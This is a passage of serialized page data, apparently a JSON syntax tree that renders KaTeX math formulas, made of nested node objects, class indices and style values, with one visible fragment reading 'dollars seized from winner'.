6386],[],{"type":23,"tag":230,"props":163896,"children":163898},{"className":163897},[6392,6393,6394,6395],[163899],{"type":23,"tag":230,"props":163900,"children":163902},{"className":163901},[6345,23902,6395],[163903],{"type":29,"value":58177},{"type":23,"tag":230,"props":163905,"children":163907},{"className":163906},[24059],[163908],{"type":29,"value":24062},{"type":23,"tag":230,"props":163910,"children":163912},{"className":163911},[6372],[163913],{"type":23,"tag":230,"props":163914,"children":163916},{"className":163915,"style":94909},[6377],[163917],{"type":23,"tag":230,"props":163918,"children":163919},{},[],{"type":23,"tag":230,"props":163921,"children":163923},{"className":163922,"style":6427},[6426],[],{"type":23,"tag":230,"props":163925,"children":163927},{"className":163926},[6432],[163928],{"type":29,"value":6406},{"type":23,"tag":230,"props":163930,"children":163932},{"className":163931,"style":6427},[6426],[],{"type":23,"tag":230,"props":163934,"children":163936},{"className":163935},[6345],[163937,163942],{"type":23,"tag":230,"props":163938,"children":163940},{"className":163939},[6345,23902],[163941],{"type":29,"value":32},{"type":23,"tag":230,"props":163943,"children":163945},{"className":163944},[6362],[163946],{"type":23,"tag":230,"props":163947,"children":163949},{"className":163948},[6367,23956],[163950,163979],{"type":23,"tag":230,"props":163951,"children":163953},{"className":163952},[6372],[163954,163974],{"type":23,"tag":230,"props":163955,"children":163957},{"className":163956,"style":95355},[6377],[163958],{"type":23,"tag":230,"props":163959,"children":163960},{"style":94882},[163961,163965],{"type":23,"tag":230,"props":163962,"children":163964},{"className":163963,"style":6387},[6386],[],{"type":23,"tag":230,"props":163966,"children":163968},{"className":163967},[6392,6393,6394,6395],[163969],{"type":23,"tag":230,"props":163970,"children":163972},{"className":163971},[6345,23902,6395],[163973],{"type":29,"value":6074},{"type":23,"tag":230,"props":163975,"children":163977},{"className":163976},[24059],[163978],{"type":29,"value":24062},{"type":23,"tag":230,"props":163980,"children":163982},{"className":163981},[6372],[163983],{"type":23,"tag":230,"props":163984,"children":163986},{"className":163985,"style":94909},[6377],[163987],{"type":23,"tag":230,"props":163988,"children":163989},{},[],{"type":23,"tag":230,"props":163991,"children":163993},{"className":163992},[24053],[163994],{"type":29,"value":5467},{"type":23,"tag":230,"props":163996,"children":163997},{"style":162948},[163998,164002],{"type":23,"tag":230,"props":163999,"children":164001},{"className":164000,"style":162726},[6386],[],{"type":23,"tag":230,"props":164003,"children":164005},{"className":164004},[6345],[164006,164010,164014,164019,164023,164080,164084,164089,164093],{"type":23,"tag":230,"props":164007,"children":164009},{"className":164008},[6345],[],{"type":23,"tag":230,"props":164011,"children":164013},{"className":164012,"style":6524},[6426],[],{"type":23,"tag":230,"props":164015,"children":164017},{"className":164016},[6529],[164018],{"type":29,"value":863},{"type":23,"tag":230,"props":164020,"children":164022},{"className":164021,"style":6524},[6426],[],{"type":23,"tag":230,"props":164024,"children":164026},{"className":164025},[6345],[164027,164032],{"type":23,"tag":230,"props":164028,"children":164030},{"className":164029},[6345,23902],[164031],{"type":29,"value":2148},{"type":23,"tag":230,"props":164033,"children":164035},{"className":164034},[6362],[164036],{"type":23,"tag":230,"props":164037,"children":164039},{"className":164038},[6367,23956],[164040,164069],{"type":23,"tag":230,"props":164041,"children":164043},{"className":164042},[6372],[164044,164064],{"type":23,"tag":230,"props":164045,"children":164047},{"className":164046,"style":95355},[6377],[164048],{"type":23,"tag":230,"props":164049,"children":164050},{"style":94882},[164051,164055],{"type":23,"tag":230,"props":164052,"children":164054},{"className":164053,"style":6387},[6386],[],{"type":23,"tag":230,"props":164056,"children":164058},{"className":164057},[6392,6393,6394,6395],[164059],{"type":23,"tag":230,"props":164060,"children":164062},{"className":164061},[6345,23902,6395],[164063],{"type":29,"value":6074},{"type":23,"tag":230,"props":164065,"children":164067},{"className":164066},[24059],[164068],{"type":29,"value":24062},{"type":23,"tag":230,"props":164070,"children":164072},{"className":164071},[6372],[164073],{"type":23,"tag":230,"props":164074,"children":164076},{"className":164075,"style":94909},[6377],[164077],{"type":23,"tag":230,"props":164078,"children":164079},{},[],{"type":23,"tag":230,"props":164081,"children":164083},{"className":164082,"style":6427},[6426],[],{"type":23,"tag":230,"props":164085,"children":164087},{"className":164086},[6432],[164088],{"type":29,"value":6719},{"type":23,"tag":230,"props":164090,"children":164092},{"className":164091,"style":6427},[6426],[],{"type":23,"tag":230,"props":164094,"children":164096},{"className":164095},[6345],[164097,164102],{"type":23,"tag":230,"props":164098,"children":164100},{"className":164099,"style":95312},[6345,23902],[164101],{"type":29,"value":162897},{"type":23,"tag":230,"props":164103,"children":164105},{"className":164104},[6362],[164106],{"type":23,"tag":230,"props":164107,"children":164109},{"className":164108},[6367,23956],[164110,164139],{"type":23,"tag":230,"props":164111,"children":164113},{"className":164112},[6372],[164114,164134],{"type":23,"tag":230,"props":164115,"children":164117},{"className":164116,"style":95355},[6377],[164118],{"type":23,"tag":230,"props":164119,"children":164120},{"style":95359},[164121,164125],{"type":23,"tag":230,"props":164122,"children":164124},{"className":164123,"style":6387},[6386],[],{"type":23,"tag":230,"props":164126,"children":164128},{"className":164127},[6392,6393,6394,6395],[164129],{"type":23,"tag":230,"props":164130,"children":164132},{"className":164131},[6345,23902,6395],[164133],{"type":29,"value":6074},{"type":23,"tag":230,"props":164135,"children":164137},{"className":164136},[24059],[164138],{"type":29,"value":24062},{"type":23,"tag":230,"props":164140,"children":164142},{"className":164141},[6372],[164143],{"type":23,"tag":230,"props":164144,"children":164146},{"className":164145,"style":94909},[6377],[164147],{"type":23,"tag":230,"props":164148,"children":164149},{},[],{"type":23,"tag":230,"props":164151,"children":164152},{"style":163017},[164153,164157],{"type":23,"tag":230,"props":164154,"children":164156},{"className":164155,"style":162726},[6386],[],{"type":23,"tag":230,"props":164158,"children":164160},{"className":164159},[6345],[164161,164165,164169,164174,164178],{"type":23,"tag":230,"props":164162,"children":164164},{"className":164163},[6345],[],{"type":23,"tag":230,"props":164166,"children":164168},{"className":164167,"style":6524},[6426],[],{"type":23,"tag":230,"props":164170,"children":164172},{"className":164171},[6529],[164173],{"type":29,"value":863},{"type":23,"tag":230,"props":164175,"children":164177},{"className":164176,"style":6524},[6426],[],{"type":23,"tag":230,"props":164179,"children":164181},{"className":164180},[6345],[164182,164187],{"type":23,"tag":230,"props":164183,"children":164185},{"className":164184,"style":95312},[6345,23902],[164186],{"type":29,"value":162897},{"type":23,"tag":230,"props":164188,"children":164190},{"className":164189},[6362],[164191],{"type":23,"tag":230,"props":164192,"children":164194},{"className":164193},[6367,23956],[164195,164243],{"type":23,"tag":230,"props":164196,"children":164198},{"className":164197},[6372],[164199,164238],{"type":23,"tag":230,"props":164200,"children":164203},{"className":164201,"style":164202},[6377],"height:0.8213em;",[164204,164221],{"type":23,"tag":230,"props":164205,"children":164207},{"style":164206},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[164208,164212],{"type":23,"tag":230,"props":164209,"children":164211},{"className":164210,"style":6387},[6386],[],{"type":23,"tag":230,"props":164213,"children":164215},{"className":164214},[6392,6393,6394,6395],[164216],{"type":23,"tag":230,"props":164217,"children":164219},{"className":164218},[6345,23902,6395],[164220],{"type":29,"value":6074},{"type":23,"tag":230,"props":164222,"children":164224},{"style":164223},"top:-3.113em;margin-right:0.05em;",[164225,164229],{"type":23,"tag":230,"props":164226,"children":164228},{"className":164227,"style":6387},[6386],[],{"type":23,"tag":230,"props":164230,"children":164232},{"className":164231},[6392,6393,6394,6395],[164233],{"type":23,"tag":230,"props":164234,"children":164236},{"className":164235},[6432,6395],[164237],{"type":29,"value":6719},{"type":23,"tag":230,"props":164239,"children":164241},{"className":164240},[24059],[164242],{"type":29,"value":24062},{"type":23,"tag":230,"props":164244,"children":164246},{"className":164245},[6372],[164247],{"type":23,"tag":230,"props":164248,"children":164251},{"className":164249,"style":164250},[6377],"height:0.267em;",[164252],{"type":23,"tag":230,"props":164253,"children":164254},{},[],{"type":23,"tag":230,"props":164256,"children":164257},{"style":163087},[164258,164262],{"type":23,"tag":230,"props":164259,"children":164261},{"className":164260,"style":162726},[6386],[],{"type":23,"tag":230,"props":164263,"children":164265},{"className":164264},[6345],[164266,164270,164274,164279,164283,164293],{"type":23,"tag":230,"props":164267,"children":164269},{"className":164268},[6345],[],{"type":23,"tag":230,"props":164271,"children":164273},{"className":164272,"style":6524},[6426],[],{"type":23,"tag":230,"props":164275,"children":164277},{"className":164276},[6529],[164278],{"type":29,"value":23921},{"type":23,"tag":230,"props":164280,"children":164282},{"className":164281,"style":6524},[6426],[],{"type":23,"tag":230,"props":164284,"children":164286},{"className":164285},[6345,29],[164287],{"type":23,"tag":230,"props":164288,"children":164290},{"className":164289},[6345],[164291],{"type":29,"value":164292},"dollars seized from winner ",{"type":23,"tag":230,"props":164294,"children":164296},{"className":164295},[6345,23902],[164297],{"type":29,"value":6074},{"type":23,"tag":230,"props":164299,"children":164300},{"style":163156},[164301,164305],{"type":23,"tag":230,"props":164302,"children":164304},{"className":164303,"style":162726},[6386],[],{"type":23,"tag":230,"props":164306,"children":164308},{"className":164307},[6345],[164309,164313,164317,164322,164326],{"type":23,"tag":230,"props":164310,"children":164312},{"className":164311},[6345],[],{"type":23,"tag":230,"props":164314,"children":164316},{"className":164315,"style":6524},[6426],[],{"type":23,"tag":230,"props":164318,"children":164320},{"className":164319},[6529],[164321],{"type":29,"value":863},{"type":23,"tag":230,"props":164323,"children":164325},{"className":164324,"style":6524},[6426],[],{"type":23,"tag":230,"props":164327,"children":164329},{"className":164328},[6345],[164330,164334,164515],{"type":23,"tag":230,"props":164331,"children":164333},{"className":164332},[24031,115344],[],{"type":23,"tag":230,"props":164335,"children":164337},{"className":164336},[115349],[164338],{"type":23,"tag":230,"props":164339,"children":164341},{"className":164340},[6367,23956],[164342,164503],{"type":23,"tag":230,"props":164343,"children":164345},{"className":164344},[6372],[164346,164498],{"type":23,"tag":230,"props":164347,"children":164350},{"className":164348,"style":164349},[6377],"height:1.1076em;",[164351,164419,164430],{"type":23,"tag":230,"props":164352,"children":164353},{"style":160935},[164354,164358],{"type":23,"tag":230,"props":164355,"children":164357},{"className":164356,"style":113997},[6386],[],{"type":23,"tag":230,"props":164359,"children":164361},{"className":164360},[6345],[164362],{"type":23,"tag":230,"props":164363,"children":164365},{"className":164364},[6345],[164366,164371],{"type":23,"tag":230,"props":164367,"children":164369},{"className":164368,"style":124106},[6345,23902],[164370],{"type":29,"value":51344},{"type":23,"tag":230,"props":164372,"children":164374},{"className":164373},[6362],[164375],{"type":23,"tag":230,"props":164376,"children":164378},{"className":164377},[6367,23956],[164379,164408],{"type":23,"tag":230,"props":164380,"children":164382},{"className":164381},[6372],[164383,164403],{"type":23,"tag":230,"props":164384,"children":164386},{"className":164385,"style":95355},[6377],[164387],{"type":23,"tag":230,"props":164388,"children":164389},{"style":163054},[164390,164394],{"type":23,"tag":230,"props":164391,"children":164393},{"className":164392,"style":6387},[6386],[],{"type":23,"tag":230,"props":164395,"children":164397},{"className":164396},[6392,6393,6394,6395],[164398],{"type":23,"tag":230,"props":164399,"children":164401},{"className":164400},[6345,23902,6395],[164402],{"type":29,"value":6074},{"type":23,"tag":230,"props":164404,"children":164406},{"className":164405},[24059],[164407],{"type":29,"value":24062},{"type":23,"tag":230,"props":164409,"children":164411},{"className":164410},[6372],[164412],{"type":23,"tag":230,"props":164413,"children":164415},{"className":164414,"style":94909},[6377],[164416],{"type":23,"tag":230,"props":164417,"children":164418},{},[],{"type":23,"tag":230,"props":164420,"children":164421},{"style":115399},[164422,164426],{"type":23,"tag":230,"props":164423,"children":164425},{"className":164424,"style":113997},[6386],[],{"type":23,"tag":230,"props":164427,"children":164429},{"className":164428,"style":115409},[115408],[],{"type":23,"tag":230,"props":164431,"children":164432},{"style":160986},[164433,164437],{"type":23,"tag":230,"props":164434,"children":164436},{"className":164435,"style":113997},[6386],[],{"type":23,"tag":230,"props":164438,"children":164440},{"className":164439},[6345],[164441],{"type":23,"tag":230,"props":164442,"children":164444},{"className":164443},[6345],[164445,164450],{"type":23,"tag":230,"props":164446,"children":164448},{"className":164447},[6345,23902],[164449],{"type":29,"value":4511},{"type":23,"tag":230,"props":164451,"children":164453},{"className":164452},[6362],[164454],{"type":23,"tag":230,"props":164455,"children":164457},{"className":164456},[6367,23956],[164458,164487],{"type":23,"tag":230,"props":164459,"children":164461},{"className":164460},[6372],[164462,164482],{"type":23,"tag":230,"props":164463,"children":164465},{"className":164464,"style":95355},[6377],[164466],{"type":23,"tag":230,"props":164467,"children":164468},{"style":94882},[164469,164473],{"type":23,"tag":230,"props":164470,"children":164472},{"className":164471,"style":6387},[6386],[],{"type":23,"tag":230,"props":164474,"children":164476},{"className":164475},[6392,6393,6394,6395],[164477],{"type":23,"tag":230,"props":164478,"children":164480},{"className":164479},[6345,23902,6395],[164481],{"type":29,"value":6074},{"type":23,"tag":230,"props":164483,"children":164485},{"className":164484},[24059],[164486],{"type":29,"value":24062},{"type":23,"tag":230,"props":164488,"children":164490},{"className":164489},[6372],[164491],{"type":23,"tag":230,"props":164492,"children":164494},{"className":164493,"style":94909},[6377],[164495],{"type":23,"tag":230,"props":164496,"children":164497},{},[],{"type":23,"tag":230,"props":164499,"children":164501},{"className":164500},[24059],[164502],{"type":29,"value":24062},{"type":23,"tag":230,"props":164504,"children":164506},{"className":164505},[6372],[164507],{"type":23,"tag":230,"props":164508,"children":164511},{"className":164509,"style":164510},[6377],"height:0.836em;",[164512],{"type":23,"tag":230,"props":164513,"children":164514},{},[],{"type":23,"tag":230,"props":164516,"children":164518},{"className":164517},[24053,115344],[],{"type":23,"tag":230,"props":164520,"children":164521},{"style":163225},[164522,164526],{"type":23,"tag":230,"props":164523,"children":164525},{"className":164524,"style":162726},[6386],[],{"type":23,"tag":230,"props":164527,"children":164529},{"className":164528},[6345],[164530,164534,164538,164543,164547,164617,164621],{"type":23,"tag":230,"props":164531,"children":164533},{"className":164532},[6345],[],{"type":23,"tag":230,"props":164535,"children":164537},{"className":164536,"style":6524},[6426],[],{"type":23,"tag":230,"props":164539,"children":164541},{"className":164540},[6529],[164542],{"type":29,"value":863},{"type":23,"tag":230,"props":164544,"children":164546},{"className":164545,"style":6524},[6426],[],{"type":23,"tag":230,"props":164548,"children":164551},{"className":164549},[23938,164550],"op-limits",[164552],{"type":23,"tag":230,"props":164553,"children":164555},{"className":164554},[6367,23956],[164556,164605],{"type":23,"tag":230,"props":164557,"children":164559},{"className":164558},[6372],[164560,164600],{"type":23,"tag":230,"props":164561,"children":164564},{"className":164562,"style":164563},[6377],"height:1.05em;",[164565,164583],{"type":23,"tag":230,"props":164566,"children":164568},{"style":164567},"top:-1.8723em;margin-left:0em;",[164569,164574],{"type":23,"tag":230,"props":164570,"children":164573},{"className":164571,"style":164572},[6386],"height:3.05em;",[],{"type":23,"tag":230,"props":164575,"children":164577},{"className":164576},[6392,6393,6394,6395],[164578],{"type":23,"tag":230,"props":164579,"children":164581},{"className":164580},[6345,23902,6395],[164582],{"type":29,"value":6074},{"type":23,"tag":230,"props":164584,"children":164586},{"style":164585},"top:-3.05em;",[164587,164591],{"type":23,"tag":230,"props":164588,"children":164590},{"className":164589,"style":164572},[6386],[],{"type":23,"tag":230,"props":164592,"children":164593},{},[164594],{"type":23,"tag":230,"props":164595,"children":164598},{"className":164596},[23938,23943,164597],"large-op",[164599],{"type":29,"value":110621},{"type":23,"tag":230,"props":164601,"children":164603},{"className":164602},[24059],[164604],{"type":29,"value":24062},{"type":23,"tag":230,"props":164606,"children":164608},{"className":164607},[6372],[164609],{"type":23,"tag":230,"props":164610,"children":164613},{"className":164611,"style":164612},[6377],"height:1.2777em;",[164614],{"type":23,"tag":230,"props":164615,"children":164616},{},[],{"type":23,"tag":230,"props":164618,"children":164620},{"className":164619,"style":6465},[6426],[],{"type":23,"tag":230,"props":164622,"children":164624},{"className":164623},[6345],[164625,164630],{"type":23,"tag":230,"props":164626,"children":164628},{"className":164627},[6345,23902],[164629],{"type":29,"value":4511},{"type":23,"tag":230,"props":164631,"children":164633},{"className":164632},[6362],[164634],{"type":23,"tag":230,"props":164635,"children":164637},{"className":164636},[6367,23956],[164638,164667],{"type":23,"tag":230,"props":164639,"children":164641},{"className":164640},[6372],[164642,164662],{"type":23,"tag":230,"props":164643,"children":164645},{"className":164644,"style":95355},[6377],[164646],{"type":23,"tag":230,"props":164647,"children":164648},{"style":94882},[164649,164653],{"type":23,"tag":230,"props":164650,"children":164652},{"className":164651,"style":6387},[6386],[],{"type":23,"tag":230,"props":164654,"children":164656},{"className":164655},[6392,6393,6394,6395],[164657],{"type":23,"tag":230,"props":164658,"children":164660},{"className":164659},[6345,23902,6395],[164661],{"type":29,"value":6074},{"type":23,"tag":230,"props":164663,"children":164665},{"className":164664},[24059],[164666],{"type":29,"value":24062},{"type":23,"tag":230,"props":164668,"children":164670},{"className":164669},[6372],[164671],{"type":23,"tag":230,"props":164672,"children":164674},{"className":164673,"style":94909},[6377],[164675],{"type":23,"tag":230,"props":164676,"children":164677},{},[],{"type":23,"tag":230,"props":164679,"children":164680},{"style":163294},[164681,164685],{"type":23,"tag":230,"props":164682,"children":164684},{"className":164683,"style":162726},[6386],[],{"type":23,"tag":230,"props":164686,"children":164688},{"className":164687},[6345],[164689,164693,164697,164702,164706,164769,164773,164778,164783,164788,164845,164850,164854,164858,164863],{"type":23,"tag":230,"props":164690,"children":164692},{"className":164691},[6345],[],{"type":23,"tag":230,"props":164694,"children":164696},{"className":164695,"style":6524},[6426],[],{"type":23,"tag":230,"props":164698,"children":164700},{"className":164699},[6529],[164701],{"type":29,"value":863},{"type":23,"tag":230,"props":164703,"children":164705},{"className":164704,"style":6524},[6426],[],{"type":23,"tag":230,"props":164707,"children":164709},{"className":164708},[23938,164550],[164710],{"type":23,"tag":230,"props":164711,"children":164713},{"className":164712},[6367,23956],[164714,164758],{"type":23,"tag":230,"props":164715,"children":164717},{"className":164716},[6372],[164718,164753],{"type":23,"tag":230,"props":164719,"children":164721},{"className":164720,"style":164563},[6377],[164722,164738],{"type":23,"tag":230,"props":164723,"children":164724},{"style":164567},[164725,164729],{"type":23,"tag":230,"props":164726,"children":164728},{"className":164727,"style":164572},[6386],[],{"type":23,"tag":230,"props":164730,"children":164732},{"className":164731},[6392,6393,6394,6395],[164733],{"type":23,"tag":230,"props":164734,"children":164736},{"className":164735},[6345,23902,6395],[164737],{"type":29,"value":6074},{"type":23,"tag":230,"props":164739,"children":164740},{"style":164585},[164741,164745],{"type":23,"tag":230,"props":164742,"children":164744},{"className":164743,"style":164572},[6386],[],{"type":23,"tag":230,"props":164746,"children":164747},{},[164748],{"type":23,"tag":230,"props":164749,"children":164751},{"className":164750},[23938,23943,164597],[164752],{"type":29,"value":110621},{"type":23,"tag":230,"props":164754,"children":164756},{"className":164755},[24059],[164757],{"type":29,"value":24062},{"type":23,"tag":230,"props":164759,"children":164761},{"className":164760},[6372],[164762],{"type":23,"tag":230,"props":164763,"children":164765},{"className":164764,"style":164612},[6377],[164766],{"type":23,"tag":230,"props":164767,"children":164768},{},[],{"type":23,"tag":230,"props":164770,"children":164772},{"className":164771,"style":6465},[6426],[],{"type":23,"tag":230,"props":164774,"children":164776},{"className":164775},[23938],[164777],{"type":29,"value":162440},{"type":23,"tag":230,"props":164779,"children":164781},{"className":164780},[24031],[164782],{"type":29,"value":302},{"type":23,"tag":230,"props":164784,"children":164786},{"className":164785},[6345],[164787],{"type":29,"value":6406},{"type":23,"tag":230,"props":164789,"children":164791},{"className":164790},[6345],[164792,164797],{"type":23,"tag":230,"props":164793,"children":164795},{"className":164794},[6345,23902],[164796],{"type":29,"value":53227},{"type":23,"tag":230,"props":164798,"children":164800},{"className":164799},[6362],[164801],{"type":23,"tag":230,"props":164802,"children":164804},{"className":164803},[6367,23956],[164805,164834],{"type":23,"tag":230,"props":164806,"children":164808},{"className":164807},[6372],[164809,164829],{"type":23,"tag":230,"props":164810,"children":164812},{"className":164811,"style":95355},[6377],[164813],{"type":23,"tag":230,"props":164814,"children":164815},{"style":94882},[164816,164820],{"type":23,"tag":230,"props":164817,"children":164819},{"className":164818,"style":6387},[6386],[],{"type":23,"tag":230,"props":164821,"children":164823},{"className":164822},[6392,6393,6394,6395],[164824],{"type":23,"tag":230,"props":164825,"children":164827},{"className":164826},[6345,23902,6395],[164828],{"type":29,"value":6074},{"type":23,"tag":230,"props":164830,"children":164832},{"className":164831},[24059],[164833],{"type":29,"value":24062},{"type":23,"tag":230,"props":164835,"children":164837},{"className":164836},[6372],[164838],{"type":23,"tag":230,"props":164839,"children":164841},{"className":164840,"style":94909},[6377],[164842],{"type":23,"tag":230,"props":164843,"children":164844},{},[],{"type":23,"tag":230,"props":164846,"children":164848},{"className":164847},[6458],[164849],{"type":29,"value":6461},{"type":23,"tag":230,"props":164851,"children":164853},{"className":164852,"style":6465},[6426],[],{"type":23,"tag":230,"props":164855,"children":164857},{"className":164856,"style":6465},[6426],[],{"type":23,"tag":230,"props":164859,"children":164861},{"className":164860},[6345],[164862],{"type":29,"value":6358},{"type":23,"tag":230,"props":164864,"children":164866},{"className":164865},[24053],[164867],{"type":29,"value":5467},{"type":23,"tag":230,"props":164869,"children":164870},{"style":163364},[164871,164875],{"type":23,"tag":230,"props":164872,"children":164874},{"className":164873,"style":162726},[6386],[],{"type":23,"tag":230,"props":164876,"children":164878},{"className":164877},[6345],[164879,164883,164887,164892,164896,164959,164963],{"type":23,"tag":230,"props":164880,"children":164882},{"className":164881},[6345],[],{"type":23,"tag":230,"props":164884,"children":164886},{"className":164885,"style":6524},[6426],[],{"type":23,"tag":230,"props":164888,"children":164890},{"className":164889},[6529],[164891],{"type":29,"value":863},{"type":23,"tag":230,"props":164893,"children":164895},{"className":164894,"style":6524},[6426],[],{"type":23,"tag":230,"props":164897,"children":164899},{"className":164898},[23938,164550],[164900],{"type":23,"tag":230,"props":164901,"children":164903},{"className":164902},[6367,23956],[164904,164948],{"type":23,"tag":230,"props":164905,"children":164907},{"className":164906},[6372],[164908,164943],{"type":23,"tag":230,"props":164909,"children":164911},{"className":164910,"style":164563},[6377],[164912,164928],{"type":23,"tag":230,"props":164913,"children":164914},{"style":164567},[164915,164919],{"type":23,"tag":230,"props":164916,"children":164918},{"className":164917,"style":164572},[6386],[],{"type":23,"tag":230,"props":164920,"children":164922},{"className":164921},[6392,6393,6394,6395],[164923],{"type":23,"tag":230,"props":164924,"children":164926},{"className":164925},[6345,23902,6395],[164927],{"type":29,"value":6074},{"type":23,"tag":230,"props":164929,"children":164930},{"style":164585},[164931,164935],{"type":23,"tag":230,"props":164932,"children":164934},{"className":164933,"style":164572},[6386],[],{"type":23,"tag":230,"props":164936,"children":164937},{},[164938],{"type":23,"tag":230,"props":164939,"children":164941},{"className":164940},[23938,23943,164597],[164942],{"type":29,"value":110621},{"type":23,"tag":230,"props":164944,"children":164946},{"className":164945},[24059],[164947],{"type":29,"value":24062},{"type":23,"tag":230,"props":164949,"children":164951},{"className":164950},[6372],[164952],{"type":23,"tag":230,"props":164953,"children":164955},{"className":164954,"style":164612},[6377],[164956],{"type":23,"tag":230,"props":164957,"children":164958},{},[],{"type":23,"tag":230,"props":164960,"children":164962},{"className":164961,"style":6465},[6426],[],{"type":23,"tag":230,"props":164964,"children":164966},{"className":164965},[6345],[164967,164972],{"type":23,"tag":230,"props":164968,"children":164970},{"className":164969,"style":124106},[6345,23902],[164971],{"type":29,"value":51344},{"type":23,"tag":230,"props":164973,"children":164975},{"className":164974},[6362],[164976],{"type":23,"tag":230,"props":164977,"children":164979},{"className":164978},[6367,23956],[164980,165009],{"type":23,"tag":230,"props":164981,"children":164983},{"className":164982},[6372],[164984,165004],{"type":23,"tag":230,"props":164985,"children":164987},{"className":164986,"style":95355},[6377],[164988],{"type":23,"tag":230,"props":164989,"children":164990},{"style":163054},[164991,164995],{"type":23,"tag":230,"props":164992,"children":164994},{"className":164993,"style":6387},[6386],[],{"type":23,"tag":230,"props":164996,"children":164998},{"className":164997},[6392,6393,6394,6395],[164999],{"type":23,"tag":230,"props":165000,"children":165002},{"className":165001},[6345,23902,6395],[165003],{"type":29,"value":6074},{"type":23,"tag":230,"props":165005,"children":165007},{"className":165006},[24059],[165008],{"type":29,"value":24062},{"type":23,"tag":230,"props":165010,"children":165012},{"className":165011},[6372],[165013],{"type":23,"tag":230,"props":165014,"children":165016},{"className":165015,"style":94909},[6377],[165017],{"type":23,"tag":230,"props":165018,"children":165019},{},[],{"type":23,"tag":230,"props":165021,"children":165022},{"style":163435},[165023,165027],{"type":23,"tag":230,"props":165024,"children":165026},{"className":165025,"style":162726},[6386],[],{"type":23,"tag":230,"props":165028,"children":165030},{"className":165029},[6345],[165031,165035,165039,165044,165048,165053,165058,165115,165119,165124,165128,165133,165137,165142,165146,165203,165208,165212,165216,165221],{"type":23,"tag":230,"props":165032,"children":165034},{"className":165033},[6345],[],{"type":23,"tag":230,"props":165036,"children":165038},{"className":165037,"style":6524},[6426],[],{"type":23,"tag":230,"props":165040,"children":165042},{"className":165041},[6529],[165043],{"type":29,"value":863},{"type":23,"tag":230,"props":165045,"children":165047},{"className":165046,"style":6524},[6426],[],{"type":23,"tag":230,"props":165049,"children":165051},{"className":165050},[23938],[165052],{"type":29,"value":162440},{"type":23,"tag":230,"props":165054,"children":165056},{"className":165055},[24031],[165057],{"type":29,"value":302},{"type":23,"tag":230,"props":165059,"children":165061},{"className":165060},[6345],[165062,165067],{"type":23,"tag":230,"props":165063,"children":165065},{"className":165064,"style":94826},[6345,23902],[165066],{"type":29,"value":163313},{"type":23,"tag":230,"props":165068,"children":165070},{"className":165069},[6362],[165071],{"type":23,"tag":230,"props":165072,"children":165074},{"className":165073},[6367,23956],[165075,165104],{"type":23,"tag":230,"props":165076,"children":165078},{"className":165077},[6372],[165079,165099],{"type":23,"tag":230,"props":165080,"children":165082},{"className":165081,"style":144381},[6377],[165083],{"type":23,"tag":230,"props":165084,"children":165085},{"style":111825},[165086,165090],{"type":23,"tag":230,"props":165087,"children":165089},{"className":165088,"style":6387},[6386],[],{"type":23,"tag":230,"props":165091,"children":165093},{"className":165092},[6392,6393,6394,6395],[165094],{"type":23,"tag":230,"props":165095,"children":165097},{"className":165096,"style":23903},[6345,23902,6395],[165098],{"type":29,"value":8324},{"type":23,"tag":230,"props":165100,"children":165102},{"className":165101},[24059],[165103],{"type":29,"value":24062},{"type":23,"tag":230,"props":165105,"children":165107},{"className":165106},[6372],[165108],{"type":23,"tag":230,"props":165109,"children":165111},{"className":165110,"style":94909},[6377],[165112],{"type":23,"tag":230,"props":165113,"children":165114},{},[],{"type":23,"tag":230,"props":165116,"children":165118},{"className":165117,"style":6427},[6426],[],{"type":23,"tag":230,"props":165120,"children":165122},{"className":165121},[6432],[165123],{"type":29,"value":6406},{"type":23,"tag":230,"props":165125,"children":165127},{"className":165126,"style":6427},[6426],[],{"type":23,"tag":230,"props":165129,"children":165131},{"className":165130,"style":96846},[6345,23902],[165132],{"type":29,"value":96880},{"type":23,"tag":230,"props":165134,"children":165136},{"className":165135,"style":6427},[6426],[],{"type":23,"tag":230,"props":165138,"children":165140},{"className":165139},[6432],[165141],{"type":29,"value":6406},{"type":23,"tag":230,"props":165143,"children":165145},{"className":165144,"style":6427},[6426],[],{"type":23,"tag":230,"props":165147,"children":165149},{"className":165148},[6345],[165150,165155],{"type":23,"tag":230,"props":165151,"children":165153},{"className":165152,"style":95060},[6345,23902],[165154],{"type":29,"value":95063},{"type":23,"tag":230,"props":165156,"children":165158},{"className":165157},[6362],[165159],{"type":23,"tag":230,"props":165160,"children":165162},{"className":165161},[6367,23956],[165163,165192],{"type":23,"tag":230,"props":165164,"children":165166},{"className":165165},[6372],[165167,165187],{"type":23,"tag":230,"props":165168,"children":165170},{"className":165169,"style":144381},[6377],[165171],{"type":23,"tag":230,"props":165172,"children":165173},{"style":112255},[165174,165178],{"type":23,"tag":230,"props":165175,"children":165177},{"className":165176,"style":6387},[6386],[],{"type":23,"tag":230,"props":165179,"children":165181},{"className":165180},[6392,6393,6394,6395],[165182],{"type":23,"tag":230,"props":165183,"children":165185},{"className":165184,"style":23903},[6345,23902,6395],[165186],{"type":29,"value":8324},{"type":23,"tag":230,"props":165188,"children":165190},{"className":165189},[24059],[165191],{"type":29,"value":24062},{"type":23,"tag":230,"props":165193,"children":165195},{"className":165194},[6372],[165196],{"type":23,"tag":230,"props":165197,"children":165199},{"className":165198,"style":94909},[6377],[165200],{"type":23,"tag":230,"props":165201,"children":165202},{},[],{"type":23,"tag":230,"props":165204,"children":165206},{"className":165205},[6458],[165207],{"type":29,"value":6461},{"type":23,"tag":230,"props":165209,"children":165211},{"className":165210,"style":6465},[6426],[],{"type":23,"tag":230,"props":165213,"children":165215},{"className":165214,"style":6465},[6426],[],{"type":23,"tag":230,"props":165217,"children":165219},{"className":165218},[6345],[165220],{"type":29,"value":6358},{"type":23,"tag":230,"props":165222,"children":165224},{"className":165223},[24053],[165225],{"type":29,"value":5467},{"type":23,"tag":230,"props":165227,"children":165229},{"className":165228},[24059],[165230],{"type":29,"value":24062},{"type":23,"tag":230,"props":165232,"children":165234},{"className":165233},[6372],[165235],{"type":23,"tag":230,"props":165236,"children":165238},{"className":165237,"style":163516},[6377],[165239],{"type":23,"tag":230,"props":165240,"children":165241},{},[],{"type":23,"tag":32,"props":165243,"children":165244},{},[165245,165246,165323,165325,165350,165352,165429,165431,165508],{"type":29,"value":302},{"type":23,"tag":71,"props":165247,"children":165249},{"className":165248},[6318,6319],[165250],{"type":23,"tag":230,"props":165251,"children":165253},{"className":165252},[6324],[165254],{"type":23,"tag":230,"props":165255,"children":165257},{"className":165256,"ariaHidden":1726},[6329],[165258],{"type":23,"tag":230,"props":165259,"children":165261},{"className":165260},[6334],[165262,165266],{"type":23,"tag":230,"props":165263,"children":165265},{"className":1